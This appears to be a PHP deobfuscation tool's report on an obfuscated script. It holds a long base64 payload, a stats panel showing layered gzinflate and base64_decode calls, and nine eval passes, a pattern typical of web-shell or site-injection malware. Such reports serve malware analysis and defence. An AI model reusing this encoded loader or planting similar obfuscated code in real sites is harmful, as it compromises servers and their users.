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'\x29\x29\x29\x3B");

Function Calls

gzinflate 5
dohavj05411 1
base64_decode 5

Variables

$a base64_decode
$b gzinflate
$str 7P19W9u48jgO/3+u67wH1ctZh1PIE9AWaGh5JhQoJTy3/XGc2ElMnDhrO4TQ..

Stats

MD5 bb8c91eee74f6bb3bcd99df992ed7c07
Eval Count 9
Decode Time 842 ms